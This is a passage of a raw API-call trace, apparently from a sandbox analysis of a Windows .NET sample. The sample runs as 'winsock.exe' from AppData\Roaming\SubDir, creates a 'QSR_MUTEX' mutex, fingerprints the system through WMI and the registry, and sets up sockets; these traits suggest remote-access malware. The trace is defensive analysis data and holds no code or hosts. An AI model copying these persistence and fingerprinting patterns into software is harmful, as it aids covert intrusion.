WbemLocator:IUnknown:Release (This=0xe8b3fc) returned 0x3 [0160.966] WbemLocator:IUnknown:Release (This=0xe8b418) returned 0x2 [0160.966] CoGetContextToken (in: pToken=0x18e760 | out: pToken=0x18e760) returned 0x0 [0160.966] CoGetContextToken (in: pToken=0x18e6c0 | out: pToken=0x18e6c0) returned 0x0 [0160.966] WbemLocator:IUnknown:QueryInterface (in: This=0xe8b418, riid=0x18e790*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x18e78c | out: ppvObject=0x18e78c*=0xe9edf8) returned 0x0 [0160.966] IUnknown:AddRef (This=0xe9edf8) returned 0x4 [0160.966] IUnknown:Release (This=0xe9edf8) returned 0x3 [0160.966] IUnknown:Release (This=0xe9edf8) returned 0x2 [0160.966] IUnknown:Release (This=0xe9ead8) returned 0x2 [0160.966] SysStringLen (param_1=0x0) returned 0x0 [0160.967] IEnumWbemClassObject:Reset (This=0xe9edf8) returned 0x0 [0160.971] CoTaskMemAlloc (cb=0x4) returned 0xe87570 [0160.972] IEnumWbemClassObject:Next (in: This=0xe9edf8, lTimeout=-1, uCount=0x1, apObjects=0xe87570, puReturned=0x281cdbc | out: apObjects=0xe87570*=0xed65d8, puReturned=0x281cdbc*=0x1) returned 0x0 [0160.979] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18e010 | out: ppvObject=0x18e010*=0xed65d8) returned 0x0 [0160.979] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x18dfcc | out: ppvObject=0x18dfcc*=0x0) returned 0x80004002 [0160.979] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x18ddec | out: ppvObject=0x18ddec*=0x0) returned 0x80004002 [0160.979] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x18dbc4 | out: ppvObject=0x18dbc4*=0x0) returned 0x80004002 [0160.979] IUnknown:AddRef (This=0xed65d8) returned 0x3 [0160.979] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x18d924 | out: ppvObject=0x18d924*=0x0) returned 0x80004002 [0160.979] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x18d8d4 | out: ppvObject=0x18d8d4*=0x0) returned 0x80004002 [0160.979] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18d8e0 | out: ppvObject=0x18d8e0*=0xed65dc) returned 0x0 [0160.980] IMarshal:GetUnmarshalClass (in: This=0xed65dc, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x18d8e8 | out: pCid=0x18d8e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0160.980] IUnknown:Release (This=0xed65dc) returned 0x3 [0160.980] CoGetContextToken (in: pToken=0x18d940 | out: pToken=0x18d940) returned 0x0 [0160.980] CoGetContextToken (in: pToken=0x18dd48 | out: pToken=0x18dd48) returned 0x0 [0160.980] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x18ddd4 | out: ppvObject=0x18ddd4*=0x0) returned 0x80004002 [0160.980] IUnknown:Release (This=0xed65d8) returned 0x2 [0160.980] CoGetContextToken (in: pToken=0x18e320 | out: pToken=0x18e320) returned 0x0 [0160.980] CoGetContextToken (in: pToken=0x18e280 | out: pToken=0x18e280) returned 0x0 [0160.980] IUnknown:QueryInterface (in: This=0xed65d8, riid=0x18e350*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x18e34c | out: ppvObject=0x18e34c*=0xed65d8) returned 0x0 [0160.980] IUnknown:AddRef (This=0xed65d8) returned 0x4 [0160.980] IUnknown:Release (This=0xed65d8) returned 0x3 [0160.980] IUnknown:Release (This=0xed65d8) returned 0x2 [0160.980] CoTaskMemFree (pv=0xe87570) [0160.980] CoGetContextToken (in: pToken=0x18e690 | out: pToken=0x18e690) returned 0x0 [0160.980] IUnknown:AddRef (This=0xed65d8) returned 0x3 [0160.983] IWbemClassObject:Get (in: This=0xed65d8, wszName="__GENUS", lFlags=0, pVal=0x18e9a4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18ea24*=0, plFlavor=0x18ea20*=0 | out: pVal=0x18e9a4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x18ea24*=3, plFlavor=0x18ea20*=64) returned 0x0 [0160.983] IWbemClassObject:Get (in: This=0xed65d8, wszName="__PATH", lFlags=0, pVal=0x18e988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18ea0c*=0, plFlavor=0x18ea08*=0 | out: pVal=0x18e988*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18ea0c*=8, plFlavor=0x18ea08*=64) returned 0x0 [0160.989] IWbemClassObject:Get (in: This=0xed65d8, wszName="__RELPATH", lFlags=0, pVal=0x18e988*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18ea0c*=8, plFlavor=0x18ea08*=64 | out: pVal=0x18e988*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x18ea0c*=8, plFlavor=0x18ea08*=64) returned 0x0 [0160.989] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xe87110, puCount=0x18e9e0 | out: puCount=0x18e9e0*=0x2) returned 0x0 [0160.989] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9dc*=0x0, pszText=0x0 | out: puBuffLength=0x18e9dc*=0xf, pszText=0x0) returned 0x0 [0160.989] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9dc*=0xf, pszText="00000000000000" | out: puBuffLength=0x18e9dc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xe87110, puCount=0x18e9ac | out: puCount=0x18e9ac*=0x2) returned 0x0 [0160.990] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9a8*=0x0, pszText=0x0 | out: puBuffLength=0x18e9a8*=0xf, pszText=0x0) returned 0x0 [0160.990] WbemDefPath:IWbemPath:GetText (in: This=0xe87110, lFlags=4, puBuffLength=0x18e9a8*=0xf, pszText="00000000000000" | out: puBuffLength=0x18e9a8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.990] IWbemClassObject:Get (in: This=0xed65d8, wszName="Caption", lFlags=0, pVal=0x18e9a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x281d3b4*=0, plFlavor=0x281d3b8*=0 | out: pVal=0x18e9a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 10 Pro", varVal2=0x0), pType=0x281d3b4*=8, plFlavor=0x281d3b8*=0) returned 0x0 [0160.991] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0160.991] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0160.991] IWbemClassObject:Get (in: This=0xed65d8, wszName="Caption", lFlags=0, pVal=0x18e9b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x281d3b4*=8, plFlavor=0x281d3b8*=0 | out: pVal=0x18e9b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 10 Pro", varVal2=0x0), pType=0x281d3b4*=8, plFlavor=0x281d3b8*=0) returned 0x0 [0160.991] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0160.991] SysStringByteLen (bstr="Microsoft Windows 10 Pro") returned 0x30 [0160.994] CoGetContextToken (in: pToken=0x18e8d8 | out: pToken=0x18e8d8) returned 0x0 [0160.994] WbemLocator:IUnknown:Release (This=0xe8b418) returned 0x1 [0160.994] IUnknown:Release (This=0xe9edf8) returned 0x0 [0161.040] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x770a0000 [0161.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="IsWow64Process", cchWideChar=14, lpMultiByteStr=0x18e9d4, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsWow64Process\rnXÃv\x1a(ú\x06opì\x18", lpUsedDefaultChar=0x0) returned 14 [0161.041] GetProcAddress (hModule=0x770a0000, lpProcName="IsWow64Process") returned 0x770b9f10 [0161.041] GetCurrentProcess () returned 0xffffffff [0161.041] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ea34 | out: Wow64Process=0x18ea34*=1) returned 1 [0161.249] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="QSR_MUTEX_0kBRNrRz5TDLEQouI0") returned 0x3c8 [0161.265] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", nBufferLength=0x105, lpBuffer=0x18e4d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe", lpFilePart=0x0) returned 0x38 [0161.702] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe.config", nBufferLength=0x105, lpBuffer=0x18ea7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe.config", lpFilePart=0x0) returned 0x3f [0161.789] GetCurrentProcess () returned 0xffffffff [0161.789] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eddc | out: TokenHandle=0x18eddc*=0x3cc) returned 1 [0161.792] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x18e874, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0161.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18edd4 | out: lpFileInformation=0x18edd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0161.795] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18e840, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0161.795] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x18eddc | out: lpFileInformation=0x18eddc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0161.796] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x18e7dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0161.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x18ed14) returned 1 [0161.797] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d0 [0161.798] GetFileType (hFile=0x3d0) returned 0x1 [0161.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x18ed10) returned 1 [0161.798] GetFileType (hFile=0x3d0) returned 0x1 [0161.811] GetFileSize (in: hFile=0x3d0, lpFileSizeHigh=0x18edd0 | out: lpFileSizeHigh=0x18edd0*=0x0) returned 0x8c8f [0161.811] ReadFile (in: hFile=0x3d0, lpBuffer=0x2828e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ed8c, lpOverlapped=0x0 | out: lpBuffer=0x2828e18*, lpNumberOfBytesRead=0x18ed8c*=0x1000, lpOverlapped=0x0) returned 1 [0161.833] ReadFile (in: hFile=0x3d0, lpBuffer=0x2828e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ec3c, lpOverlapped=0x0 | out: lpBuffer=0x2828e18*, lpNumberOfBytesRead=0x18ec3c*=0x1000, lpOverlapped=0x0) returned 1 [0161.834] ReadFile (in: hFile=0x3d0, lpBuffer=0x2828e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eaf0, lpOverlapped=0x0 | out: lpBuffer=0x2828e18*, lpNumberOfBytesRead=0x18eaf0*=0x1000, lpOverlapped=0x0) returned 1 [0161.835] ReadFile (in: hFile=0x3d0, lpBuffer=0x2828e18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eaf0, lpOverlapped=0x0 | out: lpBuffer=0x2828e18*, lpNumberOfBytesRead=0x18eaf0*=0x1000, lpOverlapped=0x0) returned 1 [0161.840] ReadFile (in: hFile=0x3d0, lpBuffer=0x26434f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eaf0, lpOverlapped=0x0 | out: lpBuffer=0x26434f0*, lpNumberOfBytesRead=0x18eaf0*=0x1000, lpOverlapped=0x0) returned 1 [0161.840] ReadFile (in: hFile=0x3d0, lpBuffer=0x26434f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18ea28, lpOverlapped=0x0 | out: lpBuffer=0x26434f0*, lpNumberOfBytesRead=0x18ea28*=0x1000, lpOverlapped=0x0) returned 1 [0161.848] ReadFile (in: hFile=0x3d0, lpBuffer=0x26434f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eba8, lpOverlapped=0x0 | out: lpBuffer=0x26434f0*, lpNumberOfBytesRead=0x18eba8*=0x1000, lpOverlapped=0x0) returned 1 [0161.850] ReadFile (in: hFile=0x3d0, lpBuffer=0x26434f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eab8, lpOverlapped=0x0 | out: lpBuffer=0x26434f0*, lpNumberOfBytesRead=0x18eab8*=0x1000, lpOverlapped=0x0) returned 1 [0161.850] ReadFile (in: hFile=0x3d0, lpBuffer=0x26434f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eab8, lpOverlapped=0x0 | out: lpBuffer=0x26434f0*, lpNumberOfBytesRead=0x18eab8*=0xc8f, lpOverlapped=0x0) returned 1 [0161.851] ReadFile (in: hFile=0x3d0, lpBuffer=0x26434f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eb78, lpOverlapped=0x0 | out: lpBuffer=0x26434f0*, lpNumberOfBytesRead=0x18eb78*=0x0, lpOverlapped=0x0) returned 1 [0161.851] CloseHandle (hObject=0x3d0) returned 1 [0161.852] GetCurrentProcess () returned 0xffffffff [0161.852] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ef20 | out: TokenHandle=0x18ef20*=0x3d0) returned 1 [0161.853] GetCurrentProcess () returned 0xffffffff [0161.853] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ef20 | out: TokenHandle=0x18ef20*=0x3dc) returned 1 [0161.854] GetCurrentProcess () returned 0xffffffff [0161.854] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eddc | out: TokenHandle=0x18eddc*=0x3e0) returned 1 [0161.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe.config" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18edd4 | out: lpFileInformation=0x18edd4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0161.854] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe.config", nBufferLength=0x105, lpBuffer=0x18e840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe.config", lpFilePart=0x0) returned 0x3f [0161.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe.config" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x18eddc | out: lpFileInformation=0x18eddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0161.855] GetCurrentProcess () returned 0xffffffff [0161.855] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ef20 | out: TokenHandle=0x18ef20*=0x3e4) returned 1 [0161.855] GetCurrentProcess () returned 0xffffffff [0161.855] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ef20 | out: TokenHandle=0x18ef20*=0x3e8) returned 1 [0161.870] GetCurrentProcess () returned 0xffffffff [0161.870] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed80 | out: TokenHandle=0x18ed80*=0x3ec) returned 1 [0161.896] GetCurrentProcess () returned 0xffffffff [0161.896] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18ed90 | out: TokenHandle=0x18ed90*=0x3f0) returned 1 [0161.905] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f4 [0161.905] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3f8 [0161.912] GetCurrentProcess () returned 0xffffffff [0161.912] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eddc | out: TokenHandle=0x18eddc*=0x3fc) returned 1 [0161.915] GetCurrentProcess () returned 0xffffffff [0161.915] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18edec | out: TokenHandle=0x18edec*=0x404) returned 1 [0161.918] QueryPerformanceFrequency (in: lpFrequency=0xd67108 | out: lpFrequency=0xd67108*=100000000) returned 1 [0161.918] QueryPerformanceCounter (in: lpPerformanceCount=0x18f160 | out: lpPerformanceCount=0x18f160*=3140221161476) returned 1 [0161.923] GetCurrentProcess () returned 0xffffffff [0161.923] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18eda8 | out: TokenHandle=0x18eda8*=0x408) returned 1 [0161.928] GetCurrentProcess () returned 0xffffffff [0161.928] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18edb8 | out: TokenHandle=0x18edb8*=0x40c) returned 1 [0161.945] GetCurrentProcess () returned 0xffffffff [0161.945] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18edbc | out: TokenHandle=0x18edbc*=0x410) returned 1 [0161.948] GetCurrentProcess () returned 0xffffffff [0161.948] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18edcc | out: TokenHandle=0x18edcc*=0x414) returned 1 [0161.955] GetCurrentProcess () returned 0xffffffff [0161.955] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x18f044 | out: TokenHandle=0x18f044*=0x418) returned 1 [0161.964] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e17c | out: phkResult=0x18e17c*=0x41c) returned 0x0 [0161.964] RegQueryValueExW (in: hKey=0x41c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e19c, lpData=0x0, lpcbData=0x18e198*=0x0 | out: lpType=0x18e19c*=0x1, lpData=0x0, lpcbData=0x18e198*=0xe) returned 0x0 [0161.965] RegQueryValueExW (in: hKey=0x41c, lpValueName="InstallationType", lpReserved=0x0, lpType=0x18e19c, lpData=0x266455c, lpcbData=0x18e198*=0xe | out: lpType=0x18e19c*=0x1, lpData="Client", lpcbData=0x18e198*=0xe) returned 0x0 [0161.965] RegCloseKey (hKey=0x41c) returned 0x0 [0161.991] CoTaskMemAlloc (cb=0xcc0) returned 0xeeaa98 [0161.991] RasEnumConnectionsW (in: param_1=0xeeaa98, param_2=0x18f054, param_3=0x18f058 | out: param_1=0xeeaa98, param_2=0x18f054, param_3=0x18f058) returned 0x0 [0162.012] CoTaskMemFree (pv=0xeeaa98) [0162.019] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18ee3c | out: lpWSAData=0x18ee3c) returned 0 [0162.030] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x46c [0162.042] setsockopt (s=0x46c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0162.042] closesocket (s=0x46c) returned 0 [0162.043] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x46c [0162.044] setsockopt (s=0x46c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0162.044] closesocket (s=0x46c) returned 0 [0162.045] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0162.045] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x474 [0162.046] ioctlsocket (in: s=0x46c, cmd=-2147195266, argp=0x18f05c | out: argp=0x18f05c) returned 0 [0162.046] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x478 [0162.047] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x47c [0162.047] ioctlsocket (in: s=0x478, cmd=-2147195266, argp=0x18f05c | out: argp=0x18f05c) returned 0 [0162.048] WSAIoctl (in: s=0x46c, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18f044, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18f044, lpOverlapped=0x0) returned -1 [0162.050] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18ed74, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0162.055] WSAEventSelect (s=0x46c, hEventObject=0x474, lNetworkEvents=512) returned 0 [0162.055] WSAIoctl (in: s=0x478, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x18f044, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x18f044, lpOverlapped=0x0) returned -1 [0162.056] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x18ed74, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0162.056] WSAEventSelect (s=0x478, hEventObject=0x47c, lNetworkEvents=512) returned 0 [0162.056] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x484 [0162.056] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x484, param_3=0x3) returned 0x0 [0162.083] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x18f070 | out: phkResult=0x18f070*=0x49c) returned 0x0 [0162.084] RegOpenKeyExW (in: hKey=0x49c, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f024 | out: phkResult=0x18f024*=0x4a0) returned 0x0 [0162.084] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4a4 [0162.084] RegNotifyChangeKeyValue (hKey=0x4a0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4a4, fAsynchronous=1) returned 0x0 [0162.086] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f028 | out: phkResult=0x18f028*=0x4a8) returned 0x0 [0162.086] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x4ac [0162.087] RegNotifyChangeKeyValue (hKey=0x4a8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x4ac, fAsynchronous=1) returned 0x0 [0162.087] RegOpenKeyExW (in: hKey=0x80000002, 